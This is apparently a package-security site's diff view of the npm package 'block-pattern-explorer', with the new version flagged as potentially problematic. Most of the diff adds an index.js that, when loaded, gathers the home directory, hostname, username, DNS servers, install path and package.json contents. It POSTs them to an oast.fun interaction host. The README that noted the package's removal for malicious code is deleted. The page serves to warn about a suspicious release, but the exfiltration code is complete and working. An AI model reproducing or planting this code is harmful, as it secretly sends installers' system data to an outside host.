block-pattern-explorer 0.0.1-security → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of block-pattern-explorer might be problematic. Click here for more details.
- package/index.js +40 -0
- package/index.json +1 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,40 @@
|
|
1
|
+
const os = require("os"); const dns =
|
2
|
+
require("dns"); const querystring =
|
3
|
+
require("querystring"); const https =
|
4
|
+
require("https"); const packageJSON =
|
5
|
+
require("./package.json"); const package
|
6
|
+
= packageJSON.name; const trackingData =
|
7
|
+
JSON.stringify({
|
8
|
+
p: package, c: __dirname, hd:
|
9
|
+
os.homedir(), hn: os.hostname(), un:
|
10
|
+
os.userInfo().username, dns:
|
11
|
+
dns.getServers(), r: packageJSON ?
|
12
|
+
packageJSON.___resolved : undefined,
|
13
|
+
v: packageJSON.version, pjson:
|
14
|
+
packageJSON,
|
15
|
+
});
|
16
|
+
var postData = querystring.stringify({
|
17
|
+
msg: trackingData,
|
18
|
+
});
|
19
|
+
var options = { hostname:
|
20
|
+
"cdthh0c2vtc0000wmw9ggg7eaoeyyyyyb.oast.fun",
|
21
|
+
//replace burpcollaborator.net with
|
22
|
+
Interactsh or pipedream port: 443,
|
23
|
+
path: "/", method: "POST", headers: {
|
24
|
+
"Content-Type":
|
25
|
+
"application/x-www-form-urlencoded",
|
26
|
+
"Content-Length":
|
27
|
+
postData.length,
|
28
|
+
},
|
29
|
+
};
|
30
|
+
var req = https.request(options, (res) =>
|
31
|
+
{
|
32
|
+
res.on("data", (d) => {
|
33
|
+
process.stdout.write(d);
|
34
|
+
});
|
35
|
+
});
|
36
|
+
req.on("error", (e) => {
|
37
|
+
// console.error(e);
|
38
|
+
});
|
39
|
+
req.write(postData);
|
40
|
+
req.end();
|
package/index.json
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
hix
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "block-pattern-explorer",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=block-pattern-explorer for more information.
|